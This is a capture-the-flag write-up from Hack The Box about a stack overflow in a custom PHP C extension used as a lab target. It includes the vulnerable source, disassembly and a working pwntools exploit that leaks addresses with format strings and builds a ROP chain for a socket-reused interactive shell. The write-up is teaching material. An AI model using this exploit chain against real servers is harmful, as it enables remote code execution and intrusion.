8 min read

Business CTF 2022: higher speed, lower safety - Superfast

This post will cover the solution for the Higher Speed, Lower Safety challenge from the 2022 Business CTF.

clubby789 &  w3th4nds, Nov 11,


We've tracked connections made from an infected workstation back to this server. We believe it is running a C2 checking interface, the source code of which we acquired from a temporarily exposed Git repository several months ago. Apparently, the engineers behind it are obsessed with speed, extending their programs with low-level code. We think in their search for speed they might have cut some corners - can you find a way in?


Thought of process

Our initial thought was that, we need something interesting, out of the usual, something intriguing but at the same time simple for the user to understand, so that he/she will be hyped to join next year’s CTF and also other CTFs made by us. Thus, instead of just a normal C/C++ vulnerable binary, we decided to make something that includes C and PHP also. Making it more realistic and different from the ordinary pwn challenges we see out there.


When decompressing the .zip, we get several files. One of them is the index.php. Taking a look at the code:

if (isset($_SERVER['HTTP_CMD_KEY']) && isset($_GET['cmd'])) {
    $key = intval($_SERVER['HTTP_CMD_KEY']);
    if ($key <= 0 || $key > 255) {
    } else {
        log_cmd($_GET['cmd'], $key);
} else {

Here, we can see log_cmd which is a function from a custom PHP extension, php_logger.so

#include <php.h>
#include <stdint.h>
#include "php_logger.h"

ZEND_BEGIN_ARG_INFO_EX(arginfo_log_cmd, 0, 0, 2)
    ZEND_ARG_INFO(0, arg)
    ZEND_ARG_INFO(0, arg2)

zend_function_entry logger_functions[] = {
    PHP_FE(log_cmd, arginfo_log_cmd)

zend_module_entry logger_module_entry = {

void print_message(char* p);


zend_string* decrypt(char* buf, size_t size, uint8_t key) {
    char buffer[64] = {0};
    if (sizeof(buffer) - size > 0) {
        memcpy(buffer, buf, size);
    } else {
        return NULL;
    for (int i = 0; i < sizeof(buffer) - 1; i++) {
        buffer[i] ^= key;
    return zend_string_init(buffer, strlen(buffer), 0);

PHP_FUNCTION(log_cmd) {
    char* input;
    zend_string* res;
    size_t size;
    long key;
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &input, &size, &key) == FAILURE) {
    res = decrypt(input, size, (uint8_t)key);
    if (!res) {
        print_message("Invalid input provided\n");
    } else {
        FILE* f = fopen("/tmp/log", "a");
        fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f);

void print_message(char* p) {

By looking into the PHP C API, we can determine that this function takes two arguments:

1) input, a string
2) key, a long (which the PHP file restricts to being between 1-255) size is the size of the string as provided by PHP.
These values are then provided to decrypt(), which returns a zend_string (PHP's string type). This is then appended to /tmp/log.


zend_string* decrypt(char* buf, size_t size, uint8_t key) {
   char buffer[64] = {0};
   if (sizeof(buffer) - size > 0) {
       memcpy(buffer, buf, size);
   } else {
       return NULL;
   for (int i = 0; i < sizeof(buffer) - 1; i++) {
       buffer[i] ^= key;

   return zend_string_init(buffer, strlen(buffer), 0);

This function performs a size check before copying the input onto a local stack buffer. The buffer is then XORed with the value of the key, before initializing and returning a zend_string. It’s pretty straightforward, we do not need to dive deeper. 

Analyzing the Bug

There's a subtle bug here, which is more obvious by looking at the decompiled code.

00001216  if (arg2 == 0x40) {
0000123f      rax_1 = nullptr
0000123f  } else {

(sizeof(buffer) - size > 0) - both size and sizeof(buffer) are unsigned values. This means that even if size is more than 0x40, the value will underflow to the maximum possible value, passing the check. This gives us a stack overflow, and there are no canaries so we can ROP freely.

This can be seen running checksec:

➜  challenge git:(ECD-8-business-ctf-2022) ✗ checksec php_logger.so
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

However, no leaks are available, and so we aren't able to ROP to any known locations. But, there is a solution. We can overwrite only the first (lowest) byte of the saved RIP, which allows us to change the return location by a short amount. 00001429 is the address (or offset from the library base) we'll be returning to. Which makes this the range of possible addresses:

00001400  mov     dword [rax+0x8], 0x1
00001407  jmp     0x14a4

0000140c  mov     rax, qword [rsp+0x18 {var_30}]
00001411  movzx   edx, al
00001414  mov     rcx, qword [rsp+0x20 {var_28}]
00001419  mov     rax, qword [rsp+0x28 {var_20}]
0000141e  mov     rsi, rcx
00001421  mov     rdi, rax
00001424  call    decrypt
00001429  mov     qword [rsp+0x38 {var_10_1}], rax
0000142e  cmp     qword [rsp+0x38 {var_10_1}], 0x0
00001434  jne     0x1447

00001436  lea     rax, [rel data_2049]  {"Invalid input provided\n"}
0000143d  mov     rdi, rax  {data_2049, "Invalid input provided\n"}
00001440  call    print_message
00001445  jmp     0x1499

00001447  lea     rax, [rel data_2061]
0000144e  mov     rsi, rax  {data_2061}
00001451  lea     rax, [rel data_2063]  {"/tmp/log"}
00001458  mov     rdi, rax  {data_2063, "/tmp/log"}
0000145b  call    fopen
00001460  mov     qword [rsp+0x30 {var_18_1}], rax
00001465  mov     rax, qword [rsp+0x38 {var_10_1}]
0000146a  mov     rax, qword [rax+0x10]
0000146e  mov     rdx, qword [rsp+0x38 {var_10_1}]
00001473  lea     rdi, [rdx+0x18]
00001477  mov     rdx, qword [rsp+0x30 {var_18_1}]
0000147c  mov     rcx, rdx
0000147f  mov     edx, 0x1
00001484  mov     rsi, rax
00001487  call    fwrite
0000148c  mov     rax, qword [rsp+0x30 {var_18_1}]
00001491  mov     rdi, rax
00001494  call    fclose

00001499  mov     rax, qword [rsp {var_48}]
0000149d  mov     dword [rax+0x8], 0x1

000014a4  add     rsp, 0x48
000014a8  retn     {__return_addr}

000014a9  int64_t print_message(int64_t arg1)

000014a9  push    rbp {__saved_rbp}
000014aa  mov     rbp, rsp {__saved_rbp}
000014ad  and     rsp, 0xfffffffffffffff0
000014b1  sub     rsp, 0x10
000014b5  mov     qword [rsp+0x8 {var_18}], rdi
000014ba  mov     rax, qword [rsp+0x8 {var_18}]
000014bf  mov     rdi, rax
000014c2  mov     eax, 0x0
000014c7  call    php_printf
000014cc  nop     
000014cd  leave    {__saved_rbp}
000014ce  retn     {__return_addr}

.text (PROGBITS) section ended  {0x10e0-0x14cf}

000014cf                       00         .

.fini (PROGBITS) section started  {0x14d0-0x14dd}

000014d0  int64_t _fini()

000014d0  endbr64 
000014d4  sub     rsp, 0x8
000014d8  add     rsp, 0x8
000014dc  retn     {__return_addr}

Rop our way around

We need to find a way to ROP which will both provide us leaks, and not break the PHP process - we must send another request once we have leaks. We can ROP to 00001440 call print_message - this is a simple wrapper around php_printf - its prologue also forcefully aligns the stack, ensuring that stack alignment won't be an issue. Returning within the same function we came from also means the stack will be properly adjusted after our payload runs, returning back into the PHP process. php_printf functions similarly to printf in libc - passing user input to the function allows them to pass format specifiers which can produce leaks. By experimenting, we can see that the RDI register still points to our original request input.

We'll begin by passing a single-byte-overwrite payload that begins with many %p- specifiers:

#!/usr/bin/env python3
from pwn import *
import urllib.parse

def make_payload(buf):
    buf = list(buf)
    for i in range(63):
        buf[i] ^= 1
    buf = bytes(buf)

    payload = "GET /?cmd="
    payload += urllib.parse.quote(buf)
    payload += " HTTP/1.1\n"
    payload += "User-Agent: Pwner\n"
    payload += "Host: Pwn.htb\n"
    payload += "Cmd-Key: 1\n\n"
    return payload.encode()

context.binary = e = ELF("php", checksec=False)
log.info("Sending initial payload");
payload = flat({
    0: b'%p-' * 30,
    0x98: p8(0x40)
payload = make_payload(payload)
r = remote(args.HOST or "localhost", args.PORT or 1337)
resp = r.recvall()

We can determine by some light investigation that one of the leaked pointers is executor_globals, a symbol in the PHP binary. This allows us to rebase the executable to perform ROP:

leak = resp.split(b'-')[5]
log.success(f"Leaked executor_globals: {leak}")
e.address = int(leak, 16)- e.sym['executor_globals']
log.success(f"PHP base: {hex(e.address)}")

We can now repeat our attack with a normal ROP chain. Since dup2 and execl are both in the PLT of PHP, we can call them. We will dup2 our connection socket (which will be 4) with stdin/stdout/stderr and execute a shell, reusing our connection as a shell.

rop = ROP(e)

rop.call('dup2', [4, 0])
rop.call('dup2', [4, 1])
rop.call('dup2', [4, 2])
binsh = next(e.search(b"/bin/bash\x00"))
dashi = next(e.search(b"-i\x00"))
rop.call('execl', [binsh, binsh, dashi, 0])

payload = make_payload(b"A"*0x98 + rop.chain())
log.info("Sending shell payload")
r = remote("localhost", 8080)

Real Life

There have been many issues with format string vulnerability in C/C++ and even in PHP and python. For the PHP, some of them can be found in the link. Most of them can be easily patched by adding the corresponding "%s", "%d" format specifiers instead of printf(buffer); Apart from just leaking stuff to someone, with the Format String Vulnerability, someone also has the opportunity to overwrite addresses in memory, causing severe damage and potentially obtaining shell to the server running the binary.

Hack The Blog

The latest news and updates, direct from Hack The Box